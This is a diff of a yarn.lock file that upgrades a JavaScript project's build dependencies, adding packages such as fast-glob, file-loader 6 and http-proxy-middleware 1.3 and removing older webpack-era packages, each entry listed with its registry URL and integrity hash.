-  resolved "https://registry.yarnpkg.com/extglob/-/extglob-2.0.4.tgz#ad00fe4dc612a9232e8718711dc5cb5ab0285543"
-  integrity sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==
-  dependencies:
-    array-unique "^0.3.2"
-    define-property "^1.0.0"
-    expand-brackets "^2.1.4"
-    extend-shallow "^2.0.1"
-    fragment-cache "^0.2.1"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
 extsprintf@1.3.0:
   version "1.3.0"
   resolved "https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.3.0.tgz#96918440e3041a7a414f8c52e3c574eb3c3e1e05"
@@ -3224,15 +3132,29 @@ fast-deep-equal@^3.1.1:
   resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
   integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
 
+fast-glob@^3.1.1:
+  version "3.2.5"
+  resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-3.2.5.tgz#7939af2a656de79a4f1901903ee8adcaa7cb9661"
+  integrity sha512-2DtFcgT68wiTTiwZ2hNdJfcHNke9XOfnwmBRWXhmeKM8rF0TGwmC/Qto3S7RoZKp5cilZbxzO5iTNTQsJ+EeDg==
+  dependencies:
+    "@nodelib/fs.stat" "^2.0.2"
+    "@nodelib/fs.walk" "^1.2.3"
+    glob-parent "^5.1.0"
+    merge2 "^1.3.0"
+    micromatch "^4.0.2"
+    picomatch "^2.2.1"
+
 fast-json-stable-stringify@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
   integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==
 
-fast-levenshtein@^2.0.6:
-  version "2.0.6"
-  resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
-  integrity sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=
+fast-levenshtein@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-3.0.0.tgz#37b899ae47e1090e40e3fd2318e4d5f0142ca912"
+  integrity sha512-hKKNajm46uNmTlhHSyZkmToAc56uZJwYq7yrciZjqOxnlfQwERDQJmHPUp7m1m9wx8vgOe8IaCKZ5Kv2k1DdCQ==
+  dependencies:
+    fastest-levenshtein "^1.0.7"
 
 fast-safe-stringify@^2.0.7:
   version "2.0.7"
@@ -3244,6 +3166,18 @@ fastclick@^1.0.6:
   resolved "https://registry.yarnpkg.com/fastclick/-/fastclick-1.0.6.tgz#161625b27b1a5806405936bda9a2c1926d06be6a"
   integrity sha1-FhYlsnsaWAZAWTa9qaLBkm0Gvmo=
 
+fastest-levenshtein@^1.0.12, fastest-levenshtein@^1.0.7:
+  version "1.0.12"
+  resolved "https://registry.yarnpkg.com/fastest-levenshtein/-/fastest-levenshtein-1.0.12.tgz#9990f7d3a88cc5a9ffd1f1745745251700d497e2"
+  integrity sha512-On2N+BpYJ15xIC974QNVuYGMOlEVt4s0EOI3wwMqOmK1fdDY+FN/zltPV8vosq4ad4c/gJ1KHScUn/6AWIgiow==
+
+fastq@^1.6.0:
+  version "1.11.0"
+  resolved "https://registry.yarnpkg.com/fastq/-/fastq-1.11.0.tgz#bb9fb955a07130a918eb63c1f5161cc32a5d0858"
+  integrity sha512-7Eczs8gIPDrVzT+EksYBcupqMyxSHXXrHOLRRxU2/DicV8789MRBRR8+Hc2uWzUupOs4YS4JzBmBxjjCVBxD/g==
+  dependencies:
+    reusify "^1.0.4"
+
 faye-websocket@^0.11.3:
   version "0.11.3"
   resolved "https://registry.yarnpkg.com/faye-websocket/-/faye-websocket-0.11.3.tgz#5c0e9a8968e8912c286639fde977a8b209f2508e"
@@ -3251,33 +3185,13 @@ faye-websocket@^0.11.3:
   dependencies:
     websocket-driver ">=0.5.1"
 
-figgy-pudding@^3.5.1:
-  version "3.5.2"
-  resolved "https://registry.yarnpkg.com/figgy-pudding/-/figgy-pudding-3.5.2.tgz#b4eee8148abb01dcf1d1ac34367d59e12fa61d6e"
-  integrity sha512-0btnI/H8f2pavGMN8w40mlSKOfTK2SVJmBfBeVIj3kNw0swwgzyRq0d5TJVOwodFmtvpPeWPN/MCcfuWF0Ezbw==
-
-file-loader@^1.1.10:
-  version "1.1.11"
-  resolved "https://registry.yarnpkg.com/file-loader/-/file-loader-1.1.11.tgz#6fe886449b0f2a936e43cabaac0cdbfb369506f8"
-  integrity sha512-TGR4HU7HUsGg6GCOPJnFk06RhWgEWFLAGWiT6rcD+GRC2keU3s9RGJ+b3Z6/U73jwwNb2gKLJ7YCrp+jvU4ALg==
-  dependencies:
-    loader-utils "^1.0.2"
-    schema-utils "^0.4.5"
-
-file-uri-to-path@1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz#553a7b8446ff6f684359c445f1e37a05dacc33dd"
-  integrity sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==
-
-fill-range@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-4.0.0.tgz#d544811d428f98eb06a63dc402d2403c328c38f7"
-  integrity sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=
+file-loader@^6.0:
+  version "6.2.0"
+  resolved "https://registry.yarnpkg.com/file-loader/-/file-loader-6.2.0.tgz#baef7cf8e1840df325e4390b4484879480eebe4d"
+  integrity sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==
   dependencies:
-    extend-shallow "^2.0.1"
-    is-number "^3.0.0"
-    repeat-string "^1.6.1"
-    to-regex-range "^2.1.0"
+    loader-utils "^2.0.0"
+    schema-utils "^3.0.0"
 
 fill-range@^7.0.1:
   version "7.0.1"
@@ -3299,15 +3213,6 @@ finalhandler@~1.1.2:
     statuses "~1.5.0"
     unpipe "~1.0.0"
 
-find-cache-dir@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-2.1.0.tgz#8d0f94cd13fe43c6c7c261a0d86115ca918c05f7"
-  integrity sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==
-  dependencies:
-    commondir "^1.0.1"
-    make-dir "^2.0.0"
-    pkg-dir "^3.0.0"
-
 find-cache-dir@^3.3.1:
   version "3.3.1"
   resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-3.3.1.tgz#89b33fad4a4670daa94f855f7fbe31d6d84fe880"
@@ -3340,44 +3245,21 @@ find-up@^4.0.0:
     locate-path "^5.0.0"
     path-exists "^4.0.0"
 
-findup-sync@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/findup-sync/-/findup-sync-3.0.0.tgz#17b108f9ee512dfb7a5c7f3c8b27ea9e1a9c08d1"
-  integrity sha512-YbffarhcicEhOrm4CtrwdKBdCuz576RLdhJDsIfvNtxUuhdRet1qZcsMjqbePtAseKdAnDyM/IyXbu7PRPRLYg==
-  dependencies:
-    detect-file "^1.0.0"
-    is-glob "^4.0.0"
-    micromatch "^3.0.4"
-    resolve-dir "^1.0.1"
-
 flot@^0.8.3:
   version "0.8.3"
   resolved "https://registry.yarnpkg.com/flot/-/flot-0.8.3.tgz#6d9b93c7aa2cfb30dfa1af9c1ec4c94070b1217f"
   integrity sha512-xg2otcTJDvS+ERK+my4wxG/ASq90QURXtoM4LhacCq0jQW2jbyjdttbRNqU2cPykrpMvJ6b2uSp6SAgYAzj9tQ==
 
-flush-write-stream@^1.0.0:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/flush-write-stream/-/flush-write-stream-1.1.1.tgz#8dd7d873a1babc207d94ead0c2e0e44276ebf2e8"
-  integrity sha512-3Z4XhFZ3992uIq0XOqb9AreonueSYphE6oYbpt5+3u06JWklbsPkNv3ZKkP9Bz/r+1MWCaMoSQ28P85+1Yc77w==
-  dependencies:
-    inherits "^2.0.3"
-    readable-stream "^2.3.6"
-
 follow-redirects@^1.0.0:
-  version "1.13.3"
-  resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.13.3.tgz#e5598ad50174c1bc4e872301e82ac2cd97f90267"
-  integrity sha512-DUgl6+HDzB0iEptNQEXLx/KhTmDb8tZUHSeLqpnjpknR70H0nC2t9N73BK6fN4hOvJ84pKlIQVQ4k5FFlBedKA==
+  version "1.14.0"
+  resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.14.0.tgz#f5d260f95c5f8c105894491feee5dc8993b402fe"
+  integrity sha512-0vRwd7RKQBTt+mgu87mtYeofLFZpTas2S9zY+jIeuLJMNvudIgF52nr19q40HOwH5RrhWIPuj9puybzSJiRrVg==
 
 font-awesome@^4.7:
   version "4.7.0"
   resolved "https://registry.yarnpkg.com/font-awesome/-/font-awesome-4.7.0.tgz#8fa8cf0411a1a31afd07b06d2902bb9fc815a133"
   integrity sha1-j6jPBBGhoxr9B7BtKQK7n8gVoTM=
 
-for-in@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/for-in/-/for-in-1.0.2.tgz#81068d295a8142ec0ac726c6e2200c30fb6d5e80"
-  integrity sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=
-
 foreach@^2.0.5:
   version "2.0.5"
   resolved "https://registry.yarnpkg.com/foreach/-/foreach-2.0.5.tgz#0bee005018aeb260d0a3af3ae658dd0136ec1b99"
@@ -3402,13 +3284,6 @@ forwarded@~0.1.2:
   resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.1.2.tgz#98c23dab1175657b8c0573e8ceccd91b0ff18c84"
   integrity sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=
 
-fragment-cache@^0.2.1:
-  version "0.2.1"
-  resolved "https://registry.yarnpkg.com/fragment-cache/-/fragment-cache-0.2.1.tgz#4290fad27f13e89be7f33799c6bc5a0abfff0d19"
-  integrity sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=
-  dependencies:
-    map-cache "^0.2.2"
-
 fresh@0.5.2:
   version "0.5.2"
   resolved "https://registry.yarnpkg.com/fresh/-/fresh-0.5.2.tgz#3d8cadd90d976569fa835ab1f8e4b23a105605a7"
@@ -3424,46 +3299,23 @@ friendly-errors-webpack-plugin@^2.0.0-beta.1:
     string-width "^2.0.0"
     strip-ansi "^5"
 
-from2@^2.1.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/from2/-/from2-2.3.0.tgz#8bfb5502bde4a4d36cfdeea007fcca21d7e382af"
-  integrity sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=
+fs-minipass@^2.0.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/fs-minipass/-/fs-minipass-2.1.0.tgz#7f5036fdbf12c63c169190cbe4199c852271f9fb"
+  integrity sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==
   dependencies:
-    inherits "^2.0.1"
-    readable-stream "^2.0.0"
+    minipass "^3.0.0"
 
-fs-extra@^7.0.0:
-  version "7.0.1"
-  resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-7.0.1.tgz#4f189c44aa123b895f722804f55ea23eadc348e9"
-  integrity sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==
-  dependencies:
-    graceful-fs "^4.1.2"
-    jsonfile "^4.0.0"
-    universalify "^0.1.0"
-
-fs-write-stream-atomic@^1.0.8:
-  version "1.0.10"
-  resolved "https://registry.yarnpkg.com/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz#b47df53493ef911df75731e70a9ded0189db40c9"
-  integrity sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=
-  dependencies:
-    graceful-fs "^4.1.2"
-    iferr "^0.1.5"
-    imurmurhash "^0.1.4"
-    readable-stream "1 || 2"
+fs-monkey@1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/fs-monkey/-/fs-monkey-1.0.3.tgz#ae3ac92d53bb328efe0e9a1d9541f6ad8d48e2d3"
+  integrity sha512-cybjIfiiE+pTWicSCLFHSrXZ6EilF30oh91FDP9S2B051prEa7QWfrVTQm10/dDpswBDXZugPa1Ogu8Yh+HV0Q==
 
 fs.realpath@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
   integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8=
 
-fsevents@^1.2.7:
-  version "1.2.13"
-  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-1.2.13.tgz#f325cb0455592428bcf11b383370ef70e3bfcc38"
-  integrity sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==
-  dependencies:
-    bindings "^1.5.0"
-    nan "^2.12.1"
-
 fsevents@~2.3.1:
   version "2.3.2"
   resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a"
@@ -3539,17 +3391,10 @@ get-stdin@^4.0.1:
   resolved "https://registry.yarnpkg.com/get-stdin/-/get-stdin-4.0.1.tgz#b968c6b0a04384324902e8bf1a5df32579a450fe"
   integrity sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=
 
-get-stream@^4.0.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-4.1.0.tgz#c1b255575f3dc21d59bfc79cd3d2b46b1c3a54b5"
-  integrity sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==
-  dependencies:
-    pump "^3.0.0"
-
-get-value@^2.0.3, get-value@^2.0.6:
-  version "2.0.6"
-  resolved "https://registry.yarnpkg.com/get-value/-/get-value-2.0.6.tgz#dc15ca1c672387ca76bd37ac0a395ba2042a2c28"
-  integrity sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=
+get-stream@^6.0.0:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-6.0.1.tgz#a262d8eef67aced57c2852ad6167526a43cbf7b7"
+  integrity sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==
 
 getpass@^0.1.1:
   version "0.1.7"
@@ -3558,21 +3403,18 @@ getpass@^0.1.1:
   dependencies:
     assert-plus "^1.0.0"
 
-glob-parent@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-3.1.0.tgz#9e6af6299d8d3bd2bd40430832bd113df906c5ae"
-  integrity sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=
-  dependencies:
-    is-glob "^3.1.0"
-    path-dirname "^1.0.0"
-
-glob-parent@~5.1.0:
+glob-parent@^5.1.0, glob-parent@~5.1.0:
   version "5.1.2"
   resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
   integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==
   dependencies:
     is-glob "^4.0.1"
 
+glob-to-regexp@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz#c75297087c851b9a578bd217dd59a92f59fe546e"
+  integrity sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==
+
 glob@^7.0.0, glob@^7.0.3, glob@^7.1.0, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4, glob@~7.1.1:
   version "7.1.6"
   resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.6.tgz#141f33b81a7c2492e125594307480c46679278a6"
@@ -3585,47 +3427,23 @@ glob@^7.0.0, glob@^7.0.3, glob@^7.1.0, glob@^7.1.2, glob@^7.1.3, glob@^7.1.4, gl
     once "^1.3.0"
     path-is-absolute "^1.0.0"
 
-global-modules@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/global-modules/-/global-modules-1.0.0.tgz#6d770f0eb523ac78164d72b5e71a8877265cc3ea"
-  integrity sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==
-  dependencies:
-    global-prefix "^1.0.1"
-    is-windows "^1.0.1"
-    resolve-dir "^1.0.0"
-
-global-modules@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/global-modules/-/global-modules-2.0.0.tgz#997605ad2345f27f51539bea26574421215c7780"
-  integrity sha512-NGbfmJBp9x8IxyJSd1P+otYK8vonoJactOogrVfFRIAEY1ukil8RSKDz2Yo7wh1oihl51l/r6W4epkeKJHqL8A==
-  dependencies:
-    global-prefix "^3.0.0"
-
-global-prefix@^1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/global-prefix/-/global-prefix-1.0.2.tgz#dbf743c6c14992593c655568cb66ed32c0122ebe"
-  integrity sha1-2/dDxsFJklk8ZVVoy2btMsASLr4=
-  dependencies:
-    expand-tilde "^2.0.2"
-    homedir-polyfill "^1.0.1"
-    ini "^1.3.4"
-    is-windows "^1.0.1"
-    which "^1.2.14"
-
-global-prefix@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/global-prefix/-/global-prefix-3.0.0.tgz#fc85f73064df69f50421f47f883fe5b913ba9b97"
-  integrity sha512-awConJSVCHVGND6x3tmMaKcQvwXLhjdkmomy2W+Goaui8YPgYgXJZewhg3fWC+DlfqqQuWg8AwqjGTD2nAPVWg==
-  dependencies:
-    ini "^1.3.5"
-    kind-of "^6.0.2"
-    which "^1.3.1"
-
 globals@^11.1.0:
   version "11.12.0"
   resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
   integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==
 
+globby@^11.0.1:
+  version "11.0.3"
+  resolved "https://registry.yarnpkg.com/globby/-/globby-11.0.3.tgz#9b1f0cb523e171dd1ad8c7b2a9fb4b644b9593cb"
+  integrity sha512-ffdmosjA807y7+lA1NM0jELARVmYul/715xiILEjo3hBLPTcirgQNnXECn5g3mtR8TOLCVbkfua1Hpen25/Xcg==
+  dependencies:
+    array-union "^2.1.0"
+    dir-glob "^3.0.1"
+    fast-glob "^3.1.1"
+    ignore "^5.1.4"
+    merge2 "^1.3.0"
+    slash "^3.0.0"
+
 globby@^6.1.0:
   version "6.1.0"
   resolved "https://registry.yarnpkg.com/globby/-/globby-6.1.0.tgz#f5a6d70e8395e21c858fb0489d64df02424d506c"
@@ -3646,7 +3464,7 @@ globule@^1.0.0:
     lodash "~4.17.10"
     minimatch "~3.0.2"
 
-graceful-fs@^4.1.11, graceful-fs@^4.1.15, graceful-fs@^4.1.2, graceful-fs@^4.1.6:
+graceful-fs@^4.1.2, graceful-fs@^4.2.4, graceful-fs@^4.2.6:
   version "4.2.6"
   resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.6.tgz#ff040b2b0853b23c3d31027523706f1885d76bee"
   integrity sha512-nTnJ528pbqxYanhpDYsi4Rd8MAeaBA67+RZ10CM1m3bTAVFEDcd5AuA4a6W5YkGZ1iNXHzZz8T6TBKLeBuNriQ==
@@ -3691,6 +3509,11 @@ has-flag@^3.0.0:
   resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
   integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0=
 
+has-flag@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
+  integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
+
 has-symbols@^1.0.1, has-symbols@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.2.tgz#165d3070c00309752a1236a479331e3ac56f1423"
@@ -3701,37 +3524,6 @@ has-unicode@^2.0.0:
   resolved "https://registry.yarnpkg.com/has-unicode/-/has-unicode-2.0.1.tgz#e0e6fe6a28cf51138855e086d1691e771de2a8b9"
   integrity sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=
 
-has-value@^0.3.1:
-  version "0.3.1"
-  resolved "https://registry.yarnpkg.com/has-value/-/has-value-0.3.1.tgz#7b1f58bada62ca827ec0a2078025654845995e1f"
-  integrity sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=
-  dependencies:
-    get-value "^2.0.3"
-    has-values "^0.1.4"
-    isobject "^2.0.0"
-
-has-value@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/has-value/-/has-value-1.0.0.tgz#18b281da585b1c5c51def24c930ed29a0be6b177"
-  integrity sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=
-  dependencies:
-    get-value "^2.0.6"
-    has-values "^1.0.0"
-    isobject "^3.0.0"
-
-has-values@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/has-values/-/has-values-0.1.4.tgz#6d61de95d91dfca9b9a02089ad384bff8f62b771"
-  integrity sha1-bWHeldkd/Km5oCCJrThL/49it3E=
-
-has-values@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/has-values/-/has-values-1.0.0.tgz#95b0b63fec2146619a6fe57fe75628d5a39efe4f"
-  integrity sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=
-  dependencies:
-    is-number "^3.0.0"
-    kind-of "^4.0.0"
-
 has@^1.0.0, has@^1.0.3:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/has/-/has-1.0.3.tgz#722d7cbfc1f6aa8241f16dd814e011e1f41e8796"
@@ -3770,13 +3562,6 @@ hmac-drbg@^1.0.1:
     minimalistic-assert "^1.0.0"
     minimalistic-crypto-utils "^1.0.1"
 
-homedir-polyfill@^1.0.1:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz#743298cef4e5af3e194161fbadcc2151d3a058e8"
-  integrity sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==
-  dependencies:
-    parse-passwd "^1.0.0"
-
 hosted-git-info@^2.1.4:
   version "2.8.9"
   resolved "https://registry.yarnpkg.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz#dffc0bf9a21c02209090f2aa69429e1414daf3f9"
@@ -3802,10 +3587,10 @@ hsla-regex@^1.0.0:
   resolved "https://registry.yarnpkg.com/hsla-regex/-/hsla-regex-1.0.0.tgz#c1ce7a3168c8c6614033a4b5f7877f3b225f9c38"
   integrity sha1-wc56MWjIxmFAM6S194d/OyJfnDg=
 
-html-entities@^1.3.1:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/html-entities/-/html-entities-1.4.0.tgz#cfbd1b01d2afaf9adca1b10ae7dffab98c71d2dc"
-  integrity sha512-8nxjcBcd8wovbeKx7h3wTji4e6+rhaVuPNpMqwWgnHh+N9ToqsCs6XztWRBPQ+UtzsoMAdKZtUENoVzU/EMtZA==
+html-entities@^2.3.2:
+  version "2.3.2"
+  resolved "https://registry.yarnpkg.com/html-entities/-/html-entities-2.3.2.tgz#760b404685cb1d794e4f4b744332e3b00dcfe488"
+  integrity sha512-c3Ab/url5ksaT0WyleslpBEthOzWhrjQbg75y7XUsfSzi3Dgzt0l8w5e7DylRn15MTlMMD58dTfzddNS2kcAjQ==
 
 htmlescape@^1.1.0:
   version "1.1.1"
@@ -3866,17 +3651,18 @@ http-parser-js@>=0.5.1:
   resolved "https://registry.yarnpkg.com/http-parser-js/-/http-parser-js-0.5.3.tgz#01d2709c79d41698bb01d4decc5e9da4e4a033d9"
   integrity sha512-t7hjvef/5HEK7RWTdUzVUhl8zkEu+LlaE0IYzdMuvbSDipxBRpOn4Uhw8ZyECEa808iVT8XCjzo6xmYt4CiLZg==
 
-http-proxy-middleware@0.19.1:
-  version "0.19.1"
-  resolved "https://registry.yarnpkg.com/http-proxy-middleware/-/http-proxy-middleware-0.19.1.tgz#183c7dc4aa1479150306498c210cdaf96080a43a"
-  integrity sha512-yHYTgWMQO8VvwNS22eLLloAkvungsKdKTLO8AJlftYIKNfJr3GK3zK0ZCfzDDGUBttdGc8xFy1mCitvNKQtC3Q==
+http-proxy-middleware@^1.1.0:
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/http-proxy-middleware/-/http-proxy-middleware-1.3.1.tgz#43700d6d9eecb7419bf086a128d0f7205d9eb665"
+  integrity sha512-13eVVDYS4z79w7f1+NPllJtOQFx/FdUW4btIvVRMaRlUY9VGstAbo5MOhLEuUgZFRHn3x50ufn25zkj/boZnEg==
   dependencies:
-    http-proxy "^1.17.0"
-    is-glob "^4.0.0"
-    lodash "^4.17.11"
-    micromatch "^3.1.10"
+    "@types/http-proxy" "^1.17.5"
+    http-proxy "^1.18.1"
+    is-glob "^4.0.1"
+    is-plain-obj "^3.0.0"
+    micromatch "^4.0.2"
 
-http-proxy@^1.17.0:
+http-proxy@^1.18.1:
   version "1.18.1"
   resolved "https://registry.yarnpkg.com/http-proxy/-/http-proxy-1.18.1.tgz#401541f0534884bbf95260334e72f88ee3976549"
   integrity sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==
@@ -3899,6 +3685,11 @@ https-browserify@^1.0.0:
   resolved "https://registry.yarnpkg.com/https-browserify/-/https-browserify-1.0.0.tgz#ec06c10e0a34c0f2faf199f7fd7fc78fffd03c73"
   integrity sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=
 
+human-signals@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/human-signals/-/human-signals-2.1.0.tgz#dc91fcba42e4d06e4abaed33b3e7a3c02f514ea0"
+  integrity sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==
+
 icheck@^1.0:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/icheck/-/icheck-1.0.2.tgz#06d08da3d47ae448c153b2639b86e9ad7fdf7128"
@@ -3911,27 +3702,20 @@ iconv-lite@0.4.24:
   dependencies:
     safer-buffer ">= 2.1.2 < 3"
 
-icss-replace-symbols@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/icss-replace-symbols/-/icss-replace-symbols-1.1.0.tgz#06ea6f83679a7749e386cfe1fe812ae5db223ded"
-  integrity sha1-Bupvg2ead0njhs/h/oEq5dsiPe0=
-
-icss-utils@^4.1.0:
-  version "4.1.1"
-  resolved "https://registry.yarnpkg.com/icss-utils/-/icss-utils-4.1.1.tgz#21170b53789ee27447c2f47dd683081403f9a467"
-  integrity sha512-4aFq7wvWyMHKgxsH8QQtGpvbASCf+eM3wPRLI6R+MgAnTCZ6STYsRvttLvRWK0Nfif5piF394St3HeJDaljGPA==
-  dependencies:
-    postcss "^7.0.14"
+icss-utils@^5.0.0, icss-utils@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/icss-utils/-/icss-utils-5.1.0.tgz#c6be6858abd013d768e98366ae47e25d5887b1ae"
+  integrity sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==
 
 ieee754@^1.1.4:
   version "1.2.1"
   resolved "https://registry.yarnpkg.com/ieee754/-/ieee754-1.2.1.tgz#8eb7a10a63fff25d15a57b001586d177d1b0d352"
